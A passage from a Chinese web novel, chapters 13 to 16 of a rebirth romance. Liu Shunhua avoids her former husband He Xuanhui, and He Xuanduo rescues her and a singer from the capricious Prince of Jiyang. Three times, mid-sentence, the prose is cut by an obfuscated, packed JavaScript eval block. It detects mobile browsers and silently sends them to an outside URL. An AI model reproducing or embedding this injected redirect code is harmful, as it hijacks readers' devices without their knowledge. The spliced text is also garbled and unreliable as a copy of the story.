想到此处,老夫人伸手从腰间取下一块玉佩,递给柳舜华,拍着她的手道:“虽说如此,可到底是救命之恩。若你日后有困难,可拿着玉佩到丞相府去,自会有人相帮。” 柳舜华点头,从老夫人手中接过玉佩,攥在掌心。 “祖母。” 柳舜华浑身一震,这声音…… 是贺玄晖。 柳舜华清楚地记得,上辈子,救下老夫人后,她并未遇到贺玄晖。 贺玄晖稳步而来,挺拔的身姿在人群中格外惹眼,一袭白衣沐浴在日光下,衣袖上银色八角星纹熠熠生辉。 他走近,对着老夫人行了礼,关切问道:“祖母,您怎么样?” 老夫人一笑:“是彰儿啊,你为何在此?祖母无事,不用担心。” 贺玄晖规规矩矩道:“父亲嘱托孙儿一些政事,孙儿正与人商谈。丁宝突然说看到了祖母的马车,我这才知晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484842|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖母今日回府。未能提前派人去迎接祖母,致祖母受惊,孙儿惭愧。” 老夫人摆摆手:“这怎么能怪你呢,是我怕麻烦,未提前告知府内。” 贺玄晖道:“祖母一路辛劳,又受此惊吓,孙儿实在放心不下。我已着丁宝回府通禀,并让人去请了太医,想必太医马上就到了。” 老夫人想了想,说道:“也好,那回府吧。你既有事,就不必跟着了,正事要紧。” 说罢,老夫人转头看了一眼柳舜华,许久才转过身去,向着侍从抬了抬手。 车帘缓缓放下,晨光中马车渐行渐远。 今日一别,前尘世事随风散,她与老夫人便无任何瓜葛。 即便再相见,也只是再寻常不过的陌生人。 柳舜华垂下眼眸,按下心内的不舍与遗憾,缓缓转身。 “姑娘,还请留步。” 柳舜华下意识地转身,她压根没料到,贺玄晖会主动与她打招呼。 贺玄晖走至柳舜华跟前,指着她的衣角下摆道:“想必是方才姑娘为了救祖母,不小心划破了衣裙。前面便是止云斋,若姑娘不嫌弃,我赔给姑娘一套衣裙可好。” 他眉目清俊,嘴角噙着笑意,声音如微风轻拂过春水,温柔得让人忍不住沉湎。 可柳舜华早不是三年前的柳舜华,她只冷声道:“多谢,不用。” 贺玄晖一愣,尽管隔着帷帽,他也能觉出她的冷漠。 他想,或许是他太唐突,旋即解释道:“姑娘,我并无恶意,只是想表示感谢。” 柳舜华懒得与他纠缠,只是转身朝止云斋走去。 贺玄晖以为她听取了他的提议,忙跟了上来。 还未到门口,芳草已经捧着衣裙走了出来。 一见到柳舜华,便问:“小姐,我听外面乱糟糟的,出什么事了?” 柳舜华见她已取了衣裙,便道:“无事,走吧。” 说罢,一转身便碰到了跟在身后的贺玄晖,整个人险些跌到他怀里。 贺玄晖慌忙伸手去扶,温热的手掌抚上她的臂膀,柳舜华却像碰到什么洪水猛兽,几乎是下意识地后退几步。 贺玄晖自觉失礼,不住道歉:“姑娘,对不起,我不知道你要转身。” 柳舜华揉着被他碰过的手臂,不由一阵恶心,气恼道:“我说了不用,为何还要跟着?芳草,咱们走。” 贺玄晖快步跟上解释:“姑娘,我不是故意的,方才见你朝止云斋走,我以为……” 柳舜华停下脚步,对着他狠狠道:“离我远点,别再跟着我。” 贺玄晖被她一吼,像个犯错的小孩,不知所措。 不知为何,他总觉得,这个姑娘,似乎很讨厌他。 她让他觉得,他似乎做错了什么事,可却怎么也想不起来。 他一脸茫然,呆愣在原地,心里空落落的。 这种感觉,很熟悉,上次浮霞园也是如此。 待走得远了些,芳草回头,看了看贺玄晖,不解道:“姑娘,那人是谁啊?瞧着一身贵气,长得也俊美不凡,不像登徒子啊。” 柳舜华怒道:“什么贵气,分明是晦气,以后碰到他,有多远走多远。” 说罢,她转头瞥了一眼贺玄晖,嘴角牵起一丝冷笑。 贺玄晖,这辈子最好永不相见。 回到家,柳舜华瘫坐在椅子上,眼神不自觉朝外间书柜看去。 柜内放满了各式小玩意,有柳条编的小篮子,草编的蝴蝶,还有竹蜻蜓。 她起身走过去,目光停在书柜上的竹蜻蜓前。 未出嫁前,她热衷于各种手工,乐此不疲,这满柜子的小玩意都是她自己动手做的。 初嫁进相府,她还一心想着与贺玄晖好好相处,曾精心做了一只竹蜻蜓,小心翼翼地在上面雕了一朵并蒂莲,又将表面打磨得光滑,细细涂了蜡油,希望并蒂莲能长久一些。 她满心欢喜地将它送给贺玄晖,可他只看了一眼,便随手丢在一边。 谁料第二日,那竹蜻蜓就出现在贺容暄手里。 贺容暄当着她的面,将竹蜻蜓丢进水池。 她嗤笑一声,告诫她,这些不入流的东西,不配出现在贺家。 柳舜华看着水池中的竹蜻蜓漂啊漂,越漂越远,心一点点沉了下去。 想起贺玄晖那张脸,柳舜华心中更觉晦气。 她随手一掷,竹蜻蜓啪嗒一声,掉进书柜漆黑的缝隙中… 14. 第 14 章 夜里,贺玄度做了一个梦。 他又梦到了小时候养的那只兔子,还梦到了……柳舜华。 这是继浮霞园归来后,第二次梦到她。 他睡不着,索性坐起身,半屈着一条腿,胳膊撑在腿上,用力揉着额头。 “柳舜华,又是她。” 那个女人,他一见便浑身不自在,尤其是她哭的时候。 绿玉被他猛然惊醒,迷迷糊糊地叫道:“柳舜华,柳舜华。” 贺玄度闻声,抓起旁边的香囊砸了过去,“给我闭嘴,不准再叫。” 绿玉扑腾一声飞到了窗台,垂头睡在一边。 花窗外夜色尚浓,廊下的灯笼不知何时已经熄灭,上夜的小厮也没来得及去换,黑魆魆一片。 贺玄度朝着窗外看了一会,打个哈欠,拉过被子盖上又睡了过去。 夜还长着呢,过了今晚,他哪还记得什么柳舜华。 隔天芳草拿了个食盒进来,说是有人送过来的。 柳舜华打开,只见食盒上层歪歪斜斜写了两个字:赔罪。 那字迹柳舜华认得,是贺玄度。 与上辈子飘逸出尘,一眼难忘的字一样,他这辈子的字,同样让人印象深刻。 食盒内放着各类糕点还有一些干果,柳舜华捏了一块放在嘴里,甜丝丝的。 贺玄度主动送这些,还特意写了“赔罪”两个字,可见他是信了那日她编的故事。 他定以为当初是他没有保护好那只兔子,辜负了她的期望,惹得她伤心难过。 人人都说贺玄度纨绔荒唐,可他们哪里会看到他心底的良善。 柳舜华欣喜于洞察到贺玄度内心的柔软,又为他被人误解感到难过。 她将糕点干果挑出一份留给棠华,余下的都收了起来。 贺玄度送来糕点干果,虽说是赔礼,但柳舜华还是想送些回礼。 一来,她受之有愧。二来,她也想借此多接近贺玄度。 若是上辈子,她只需送些笔墨即可,可经过昨日那一遭,她算是明白了,若是送这些过去,他怕是不会喜欢。 好不容易与贺玄度建立起一点信任,目前她要做的,是继续赢得他的好感。 柳舜华想起从浮霞园带回来的几坛凉州葡萄酒,贺玄度外祖同样是凉州人,他少时也在凉州生活过一段时日,应该会喜欢。 她打发人去相府递话给贺玄度,贺玄度果然欢喜得很。 不过,他却说相府内饮酒不自在,让她把酒寄在平日常去的望月楼。 望月楼,长安城里最好的酒楼,坐落在东市。 从柳府出发,要半个多时辰。 马车走到靠近东市的平清坊附近,渐渐慢了下来。 柳舜华掀开车帘,只见一条街上围满了人。 车夫朝柳舜华道:“前面不知出了什么事故,怕是没那么快到了。” 柳舜华往前看了一眼,“没事,也不着急,你慢些走,莫撞到人。” 马车行得极慢,街边声音不时传进车内。 “怎么回事啊?我这才刚来,平清坊就出事了。” “听说里面有人被砍断了一根手指,血溅了一地。” “谁啊?敢在平清坊闹事?” “这个是真不知,不过,你们猜这被砍的是谁?府尹家的公子。” “我知道,我知道。我刚从千陶馆出来,那人看样子不过是个家奴,自称主子看上了梅好姑娘,要将她带出去陪酒。卓公子自然不同意啊,那人一怒之下,就把他的手指砍掉了一个。”有人挤进来,眉飞色舞地说着。 “一个家奴,敢这么嚣张,这人得多大来头啊。” 人群中唏嘘不断。 柳舜华听到府尹公子,微微抬眸。 少年权贵多风流,为女子争风吃醋,屡见不鲜,但光天化日之下断了府尹公子的手指,却有些骇人听闻。 柳舜华曾贵为相府长媳,长安城中叫上名的权贵,她都略知一二,可却没听说过哪家公子敢如此张狂。 不过想到被打的是府尹公子,柳舜华不由冷哼一声。 这位卓公子,名唤卓良,原也是长安一霸。 上辈子,他娶了堂妹蔓华之后,便以皇亲国戚自居,强取豪夺之事没少做。 果真是恶人自有恶人磨。 …… 马车缓缓驶出平清坊街道,柳舜华只当听了个故事,听过也就忘了。 望月楼临河而设,河岸春花繁茂,碧波荡漾,楼前屋后绿树环绕,春意融融。 临近正午,店外却门可罗雀。 柳舜华站在望月楼门口,抬头看了看匾额,确认没有走错,这才走了进去。 进了店,柳舜华才发现,只临窗处坐了两人,另有一随从侍立在侧。 她心下疑惑,还未同店家说明来意,便看到店家朝她摆手,示意不要进来。 “让你喝你就喝,扭扭捏捏的,无趣得很。”慵懒散漫的声音中透着一丝不耐。 柳舜华循声望去,只见窗边斜坐的少年正端着酒杯,一双养尊处优的手缓缓划过杯沿。 那少年约摸与她同岁,一身绛紫锦绣袍,嘴角眉梢尽显张扬。 他周身气度华贵,怎么瞧都不像寻常人家的公子。 对面坐着的女子颤抖着手,端起酒杯就往嘴里送,还未送至嘴边,酒已洒了大半。 少年摸着杯沿的手霍然一停,猛地将杯中的酒泼在女子娇美的脸上。 女子一惊,杯盏“铛”地一下落在桌上。 少年眉头一挑,冷笑道:“一个杯子都握不住,我要你来何用?” 女子忙用袖子去擦拭洒在桌上的酒水,却是越慌越乱,酒水顺着桌子往下流,悉数淋在少年华贵的衣袍之上。 少年揉着头,半闭着眼:“成川,你是从哪找来的废物?好好的一顿饭,真让人倒胃口。” 一旁站立的随从忙跪了下去,“少爷,这已经是平清坊千陶馆里最漂亮的美人了,还是我从别人那里抢来的。” 平清坊千陶馆,原来砍掉府尹家公子手指的是他。 少年懒懒道:“噢,原来是抢的。不是说好了,好好去请。你这样,也难怪她害怕。” 那个叫成川侍从嬉笑道:“那人拉着梅好姑娘不让走,我只能断了他一根手指。不过少爷放心,我留了十贯钱给他。” 少年略一点头,对着梅好姑娘不解道:“我们给了钱的,你还怕什么?” 少年生得极好,眉目如画,眼神清澈,目光柔和得像是个不谙世事的孩童。 梅好姑娘却浑身止不住一阵颤抖。 一炷香前,她亲眼看到过卓公子的断指,光秃秃的指头,白森森的骨节,满手都是血。 梅好姑娘身子一软,跪伏在桌前,“公子饶命,公子饶命。” 少年倒了一杯酒,长长的羽睫垂下,声音中带着几分落寞:“我不过是想花钱找个人,好好吃一顿饭罢了,怎么就这么难呢?” 梅好颤抖道:“梅好无……无福,求公子放过。” 少年拍了拍被酒水浸湿的衣衫,抬头笑道:“可是,你毁了我的衣裳,还有吃饭的心情,是要赔的。” 梅好忙应声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484843|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我赔,我愿意赔。” 少年一手托腮,一手敲击着桌子,缓缓道:“好,那我给你两个选择。一、留下你一根手指,陪着我吃饭。二、留下你一只眼睛,看着我吃饭。” 他俯下身子,凑到梅好跟前,柔声问:“你选哪个?” 柳舜华静静地看着少年,他眼中并无杀意,只是充满了戏谑。 他好像很喜欢欣赏他人的恐惧,别人愈不安,他笑意愈深。 尤其是他看人的眼神,与看圈养在栅栏内的猪狗没什么不同。 裙摆晃动,柳舜华收回神思,垂眸看到跪在地上的梅好姑娘。 梅好一脸惊恐,紧紧抓住她的裙摆,像是抓住最后一根救命稻草。 “姑娘,求你,救救我。” 柳舜华不愿惹事,所以一直旁观。 可如今,看到有人匍匐在她脚边,把她当成救命稻草,她还是心软了。 她弯腰将梅好扶起,替她拍去身上的尘土,轻声安慰道:“姑娘,别怕。” 少年含笑看着柳舜华,“怎么,你想替她赔?” 柳舜华摇头,“公子身上这件衣袍华贵异常,我赔不起。至于我的手指和眼睛,我还有用,更不能留下了。” 少年有些意外,扬眉道:“你看了这么久,我还以为你会帮。” 柳舜华笑笑,“我是想帮,可凡事总要量力而行,公子身份尊贵,不是我能轻易得罪的。” 方才她在旁瞧着,这少年行为举止实在异于常人,若一味求情或行为冒进,多半只会惹怒他,倒不如坦诚一点,或许还有转圜的余地。 相府三年,察言观色,她学到了极致。 少年没想到她会这么说,又是一怔,随即嘴角牵起一丝嘲讽:“既然你不愿意帮,为何还要给她希望。给人希望,又不帮,不太厚道吧。” 此话一出,梅好姑娘也愣了,转头可怜巴巴地望着柳舜华。 柳舜华点头:“没错,您说得对极了。是我想的不周,多谢公子提点。” 她明明语气轻柔,态度恭谨,少年却无端觉得吃瘪。 这女子,和他预想的完全不一样。 他以往所见的女子,对他要不阿谀奉承,要不避之如蛇蝎,他早已习惯。 可眼前的女子,目光平和,坦诚磊落,看他的眼神与看其他任何人并无不同。 她并不怕他。 这种感觉,谈不上多舒服,但至少不让他讨厌。 少年饶有兴致地打量着她,一身青绿素袍,身姿窈窕却不过分清瘦,眉眼明媚,颇有几分洒脱之感。 他转动着手中的杯子,“有意思。” 柳舜华见他目光缓了几分,似乎有些松动,适时道:“这位姑娘扰了公子吃饭的雅兴,实在不该,公子生气也在情理之中。既然她不能替公子添趣儿,何必看着心烦,不如撵了去。我这里有上好的凉州葡萄酒,若公子不弃,愿赠一坛给公子助兴。” 少年突然坐正,又往前探了探身子,“你也觉得,扰人用饭的雅兴是不对?” 柳舜华顺着他的话,“当然。” 少年搓着手,眼神中透着莫名的兴奋,“我让她滚,你陪我一起用饭吧!” 柳舜华一愣,原本她以为,少年不过是想寻个借口,刻意羞辱梅好姑娘找趣儿,为了让他面上过得去,才顺着他说了一嘴。 谁知这人又绕到吃饭上,他对吃饭是有多大执念啊。 柳舜华头疼,这人真是太难缠了。 “吃饭啊,我陪你如何?” 慵懒的声音从门外传来,贺玄度笑着走了进来。 15. 第 15 章 贺玄度来得很及时。 柳舜华心上一喜,对着贺玄度道:“你来了。” 贺玄度状似不满,“再不来,我怕你将我的酒都送人了。” 柳舜华垂眸轻笑:“我那里还有呢,你若喜欢,都送你。” 贺玄度有些受用:“这还差不多。” 趁着两人说话的功夫,少年饶有兴致地打量着贺玄度。 一袭花青云纹直裾深衣,衣领袖口织锦,腰配组玉,手持羽扇,一脸骄矜,花枝招展远胜于他。 店家一见贺玄度,忙出来迎,“贺二公子。” 少年一听,讥笑一声,“哦,原来是贺丞相家的纨绔二公子。” 贺玄度也不恼,径直走过去坐在少年对面坐下,“承让承让。” 少年皱眉,不客气道:“我让你坐了吗?” 贺玄度倒了一杯酒,饮了一口,“难道我听错了,可方才我分明听到你邀我一起吃饭。” “你聋了还是瞎了?”少年冷声,抬手指向柳舜华,“看清楚了,我邀的是她。” 贺玄度皱头一眉,将余下的酒泼在地上,“这酒你也喝得下去?洪声,将外面的凉州葡萄酒拿来一坛。” 洪声很快抱着酒进来,将酒放在桌上。 贺玄度打开酒坛,各自斟满一杯,将其中一杯推到少年面前。 少年低眸看了一眼,嘴角不屑:“贺二公子,你当我没喝过葡萄酒吗?” 贺玄度笑道:“我知道,你定是什么酒都不缺。只是想让你先喝点酒,开开胃。” 话音方落,他又扫了一眼桌面,频频摇头,“恕我直言,这位公子,你吃饭没兴致,不是缺个逗趣的,实在是因为……你太土了啊。” 少年猛地抬眼,不可思议地看着贺玄度。 他活了十八年,第一次被人说土,还是当着他的面。 梅好姑娘闻听此言,浑身瘫软,险些跌倒。 这位贺二公子是来捣乱的吧。 方才身边的姑娘步步退让,好不容易才让这个活祖宗松了一点口,他却拱火挑事,怕不是要把她往死路上逼啊。 她求助似地望向柳舜华,却见她无甚反应,只是静静地看着贺玄度,眼中竟隐隐有一丝期待。 果不其然,少年怒道:“你敢说我土?我看你是嫌命太长了吧!” 贺玄度不紧不慢道:“你急什么,我又不跑,先听我说完再看看我命长不长。” 少年正是轻狂的年纪,怒目圆视,大有他说不出个所以然,连他也不放过的架势。 贺玄度指向满桌的菜食,咋舌道:“你不但土,而且自大。这一桌自用的调味之物,你全用错了。但凡多听掌柜的说两句,你都不会错得如此离谱。” “先说这道羊汤,色白味鲜,根本不需要放什么调味,你居然……放了醋。”他一脸嫌弃,又将目光移到一边,“还有这个炙鱼,本身已经加了盐的,你还要放咸豉。最不能忍的是这个卷饼,本身已经有了肉荤,你却加了鱼酱,应该加黄豆酱、葱丝去解油腻才对。” 少年听得目瞪口呆,长安第一纨绔,果然讲究。 贺玄度说完,伸手拿了一张薄饼,用筷子蘸了黄豆酱,均匀涂抹在饼上,夹足了肉丝,又挑了些葱丝,卷在一起递给少年。 少年一动不动,压根没有去接的意思。 他不屑道:“你别……” 方一张嘴,贺玄度眼疾手快,俯过身子将饼塞进他嘴里。 他呜呜骂了几句,眼神一亮,不自觉嚼了起来。 贺玄度冲他一笑:“怎么样?” 少年擦了擦嘴角,“勉勉强强吧。” “这位公子,你吃了我亲手喂的卷饼,也该消气了。” 贺玄度指向一旁的柳舜华与梅好姑娘,“这样,你放她们走,咱们也算是两清了。” 说罢,他朝着两人挥手,示意两人离开。 柳舜华会意,扶着瘫软的梅好姑娘便往外走。 一把长刀便横在眼前,那个叫成川的侍从挡在她们前面,正冷眼瞧着她们。 少年声音发寒:“我让你们走了吗?” 贺玄度无奈一叹,“都吃了我的饼了,还这么大火气。” 少年仰头道:“我需要你……” “我觉得我们可以好好谈一谈。”话未说完,贺玄度侧身探至少年跟前,略一挑眉,低声道:“济阳王。” 少年一瞬怔愣,贺玄度已经认出他了? 贺玄度坐正,对着成川挥挥手,“你可以把刀放下了。” 成川望向济阳王,见他微微点了一下头,这才将刀抽回。 柳舜华行至门口,尤有些不放心,忍不住回头看了一眼贺玄度。 贺玄度冲着她摆了摆手,示意她安心离开。 店内只余三人,济阳王才缓缓道:“你要与本王谈什么?” 贺玄度举起酒杯,“先喝一杯?” 济阳王淡淡扫了他一眼,随着他饮了一杯。 成川十分知趣地替两人满上。 济阳王晃动着杯子,看着贺玄度道:“你以前,见过本王?” 贺玄度摇头,“没有,我猜的。” 济阳王不信,“这都能猜到?” 贺玄度笑笑:“来的路上,经过平清坊,我听说府尹家的独子被人砍掉了一根手指。长安城里除了我,没人敢如此张扬,可偏不是我做的。我思来想去,整个大安,能纨绔过我的,便只有年少便袭爵的济阳王了。” 济阳王漫不经心道:“怎么,我的名声都传到了长安?” 贺玄度摇头,“那倒没有,是我去过济阳,听到过王爷您的一些事迹。” 济阳王来了兴致,“什么事迹,他们怎么说我?” 成川倒酒的手一抖,杯中的酒水一下溢了出来,忙用袖子挡住酒水。 济阳虽非大安重地,但背靠济水,千里沃野,也算富庶。 老济阳王深受先皇疼爱,在位期间,朝廷赏赐不断,一生积累财富无数。 十八年前,老济阳王母族卷入先太子造反一事。 事后清算,老济阳王虽获先皇谅解,却从此恩减。 自此以后,老济阳王便纡郁难释,早早撒手人寰。 年仅二岁的刘昌,便在此种情况下承袭了爵位。 因常年缺乏管教,又远在封地无人约束,他便愈发放浪起来。 济阳王府更是日日歌舞不绝,夜夜笙歌。 老济阳王留下的贤臣看不下去,也曾屡屡规劝过。 可刘昌总是口头上应着,私下照旧。 偶有几次被郎中令当面指责,他听得不耐烦,也不去驳斥,只捂住耳朵,嬉皮笑脸。 郎中令好几次都被气得险些犯病。 贺玄度早年游历济阳时,没少听刘昌做的那些荒唐事。 刘昌喜斗鸡,曾在集市上看中一只健硕的母鸡,张口便问能不能斗。 卖鸡的贩子不知他身份,连声称是,将一只普通的母鸡吹嘘成战无不胜的斗鸡。 刘昌大喜,给了鸡贩十贯钱。结果那母鸡却在斗鸡时被啄个半死,害得刘昌丢尽颜面。 他怒气冲冲去寻那鸡贩子,鸡贩子当即跪地认错,哭诉自己上有高堂需要医治,下有幼儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495061|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗷嗷待哺。 刘昌不知怎地,突然就感动了,不但原谅了鸡贩子,反而又赏了他十贯钱。 然而隔日,王府内有人便发现那鸡贩子就是个骗子。 骗子利用刘昌的声威,将剩余十几只鸡高价卖了之后,怕事情败露,连夜卷铺盖逃出了济阳。 刘昌气急败坏,寻不到骗子,便下令挖了那骗子家的祖坟泄愤。 谁知骗子连身份都是假借的,王府挖错了坟。 被无端挖坟的人家先是一阵懵,随后全家人整整齐齐地跪在坟前哭了半日。 刘昌听后愧疚,着人将人家祖坟好一顿修缮,又赏钱百贯钱了事。 此事被济阳城百姓当做茶余饭后谈资,笑了足足一年。 刘昌虽说荒唐,可好在他还算有自知之明,因为懒政,当然也可能是不懂,几乎不对济阳政事妄加干涉。因有足够的财富积累,他也懒得敛财,是以他在位的十多年,济阳百姓生活还算过得去。 只有一点,他本人虽对吃食上不甚在意,但每次用膳,皆需有妙龄少女陪着方才肯进食。 为此王府内养了不少女子,什么都不用做,只在他用膳时陪侍左右。 贺玄度仔细回想了一下,“何必呢,都是市井流言。算了,还是说说正事吧。” 刘昌换了个坐姿,“谈什么?” 贺玄度道:“自然是砍了府尹家公子手指之事。你此番奉召进京,皇上的面还未见到,就先在长安城惹事,就算圣上念在亲情上不计较,那些大臣可不是那么好说话的。” 刘昌满不在乎,“那些人也就那点能耐,大不了就是罚俸,难不成还能因为这点小事就革了我的王爵。” 他有的是钱。 罚俸,他根本不在乎。 贺玄度摇头:“今时不同往日,圣上病重,如今圣体尚未康泰,你进京第一日,不想着为圣上祈福,却先惹出事端。此事可大可小,若他们铁了心要治你,只怕也少不了麻烦。” 刘昌想了一下,问道:“那你有何高见?” 贺玄度抬头一笑,“这个锅,我替你扛一半如何?” 刘昌一愣,哼道:“你有这么好心?” 贺玄度眼眸一睨,“当然有个条件,我要你日后不再与她们为难。” 刘昌懂了,他这是怕他秋后算账。 不过,有相府二公子帮忙担着,朝中那些人多少会有所顾忌,于他并无害处。 百利而无一害的交易,他没有理由拒绝,“好,我答应你。” 贺玄度举起了酒杯,两人一饮而尽。 几杯酒下肚,两人相视一笑,大安两大纨绔,竟然生出些许惺惺相惜之感。 刘昌放下酒杯,意味深长道:“你是为了方才那个姑娘吧?真是没想到,为了她,你竟然连名声都不要了。” 贺玄度淡淡一笑,“你想多了。名声,我有吗?” 刘昌略一思索,的确,贺玄度的名声,也没什么保全的必要。 事已解决,贺玄度摸了摸肚子,“说了半日,都饿了,开吃吧。” 刘昌眉头一皱,伸手夹住贺玄度的筷子,“你,走。我这人,从不与男子一桌进食。” 贺玄度无奈,将筷子丢在桌上,“你还真是,翻脸无情啊。” 刘昌挥挥手,“慢走,不送。” 看着贺玄度走出店内,成川望着他的背影,一脸疑惑:“王爷,您说,他图什么啊?” 刘昌端起面前的酒杯,红澄澄的葡萄酒,血红诱人。 他一饮而尽。 “成川,你去查查,方才那位姑娘,到底是何来历。” 16. 第 16 章 马车缓缓前行,望月楼渐行渐远。 梅好姑娘微曲着纤弱的脖颈,云鬓蓬乱,羽睫轻轻颤动,双手攥紧衣裙,缩在角落,坐立难安。 柳舜华低声道:“梅好姑娘,不要怕,已经没事了。” 梅好姑娘茫然抬眸,看着眼前的柳舜华。 她正望着她,目光柔和,嘴角含笑。 这一辈子,许多人对她笑过,有男子肆意的调笑,女子刻薄的嘲笑,还有来自地狱深处阴冷的笑。 可她唯独没有见过这样的笑,轻柔、舒缓,似月下静流的溪水,不动声色地安抚着人心。 她让她觉得,她也是个普通人,也值得被温柔对待。 梅好慢慢回过神来,鼻子一酸,不住向柳舜华道谢。 柳舜华轻声道:“我也没帮什么,要谢的话,就谢贺二公子吧。若不是他,咱们怕是没那么容易脱身。” 梅好点头,“平日里,常听人说贺二公子纨绔,可今日却多亏有他。”她轻咬朱唇,眸光点点,“府尹的公子,他们说砍就砍,毫不留情。以我这般身份,即便今日死在望月楼,也不会有人敢多问一句。若非姑娘肯出手周旋,我怕是要难逃一劫。” 柳舜华安慰道:“你别想太多,已经过去了。” 梅好半仰着一张娇嫩的脸,面露歉意,“虽说如此,可到底是我连累了姑娘。我一时心急,强行拉姑娘下水,实在不该。可我当时,实在怕极了……” 柳舜华淡笑一声,握住她微微颤抖的手,“姑娘不用自责,我没有姑娘想得那般好。我也是看准那人并无杀心,才敢出言相帮。” 她虽这么说,梅好却知,这位小姐肯为她出头,已是十分难得。 冒着得罪权贵的风险,去帮她这么一个歌姬,实在不是一桩划算的买卖。 若非她敢于出头,从中周旋,她哪里还能等到贺二公子出现。 想到贺玄度,她忧心道:“也不知那人什么来历,贺二公子见了他,尚有几分忌惮,不知他会不会有麻烦。” 柳舜华也想不明白,不过贺丞相自皇上登基便辅佐左右,多年来君臣一心,贺家在大安稳如磐石,贺玄度应该不会有事。 她道:“他是贺家人,长安城中权贵就算再不开眼,也不至于会为难他。” 梅好点头,垂眸不语。 马车行至平清坊,梅好犹豫片刻,还是开了口:“我身份低微,本不配知晓小姐芳名,只是蒙小姐大恩,得以脱困,此等恩情,梅好不敢忘。还望小姐不弃,告知芳名,好让梅好知晓恩人是谁。” 柳舜华听罢,只觉心中酸涩。她不过是出言周旋几句,这姑娘却恨不得把她说得救世神仙一般。 她省去客套,爽朗一笑:“柳舜华。” 梅好低声念着她的名字,“舜华?” 柳舜华道:“对,舜华,也就是木槿。人常说它朝开暮落,寓意不详;我娘却说,它是日日常新。” 日日常新。 梅好一瞬恍神,随即无比认真道:“姑娘,我记下了。” 与柳舜华相互道别后,梅好下了马车。 坊门前,柔弱的身影像一朵娇花,风一吹便能连根拔起。 柳舜华瞧着她一步步走向千陶馆,心底泛酸。 她历经艰辛,从望月楼死里逃生,如今回去却也不过是出虎穴进狼窝。 欢场之内,历来只有买笑追欢意,哪有怜香惜玉心。 柳舜华长长一叹。 千陶馆内的歌舞姬虽是卖身于此,可她作为头牌,结交多显贵,定也积攒不少银钱,若有心要离开,钱财必也是够的。她怕的,应是不知日后如何立身吧。 就像前世的她一样,无法说服自己,坚定地迈出那一步。 嫁进相府半年后,她觉察到贺玄晖不喜欢自己,他们之间断无恩爱白首的可能时,本有机会提出和离。可她却怕了,她怕世人的指点非议,怕此生再抬不起头做人,更怕无处安身。也正是这重重顾虑,让她困于相府多年,再脱不开身。 后来她读了很多书,明白了这世间许多道理。 与其郁郁消磨此生,倒不如冲出去,走一遭。 好也罢,歹也罢,总是要先走出去。 强似被困在牢笼,连挣扎的欲望都慢慢被消磨,最终无声无息地枯萎,零落成泥,归于尘土。 她想,或许,梅好姑娘也一样,需要有人拉她一把。 “梅好姑娘。”柳舜华突然叫住她。 梅好回头,望着柳舜华。 柳舜华对上她的目光,朗声道:“千陶馆非久留之地,若姑娘日后打定主意要离开,想要重新开始,可以去城西柳府。我虽无能,却也愿助姑娘一臂之力。” 梅好立在日光下,怔愣许久。 从来没有人跟她说过,她可以重新开始。 从来没有人想着帮她脱身,没有任何条件,没有任何私心。 她鼻尖微红,高仰起头,虽是笑着,眼眸中却带着泪,“姑娘,若你是个男子,我此刻定要爬上你的马车,再不下来。” 说完,梅好朝着柳舜华行了个大礼,转身入了千陶馆。 千陶馆方经历一场混乱,此刻馆内只有姑娘们在,一时冷清不已。 见梅好回来,众人下意识地朝她望去。 馆主扒开几个站在前头的姑娘,走上前拉着梅好问:“你怎么样,没事吧?” 梅好一把甩开她的手,“放心,若是再有客人来,我照样能唱能跳,耽误不了替您挣钱。” 馆主讪讪一笑,“姑娘说的是什么话,平日里我何曾苛待过你,不是一直好吃好喝伺候着。我也疼你,可你也看到了,卓公子都被当场砍了手指,我怎么敢多说一句。” 梅好冷声道:“那就眼睁睁看着我被人带走,芳姐可知,我险些被剁了手挖了眼?” 馆主倒吸一口凉气,“对方到底是何人,说好只是带你去陪酒的,竟如此不懂得怜香惜玉。” 见梅好无事,她又双手合十,口中念念有词,“多亏老天开眼,让你逃过一劫,你且回房好好休息,这两日就不必操劳了。” 梅好瞥了她一眼,“不是老天开眼,是贺家二公子碰巧去了望月楼,顺手帮我脱困。” 她刻意只提了贺玄度,以免日后被问起时殃及柳舜华。柳小姐毕竟也是女子,她不想她帮了自己,还要卷进风波之中。 馆主听到贺二公子,眼神一亮,“姑娘什么时候搭上了贺家二公子?” 梅好转身上楼,“芳姐,我累了。” 梅好方进屋阖上门,还未转身,一阵掌风便直朝她袭来。 她眼中突然闪过一丝狠厉,毫无方才柔弱之态,身子一矮,伸手抓住背后的手臂,猛地撞在墙上,快速拔下头上的发簪,抵在来人脖颈处。 “是我,刑风,手下留情。” 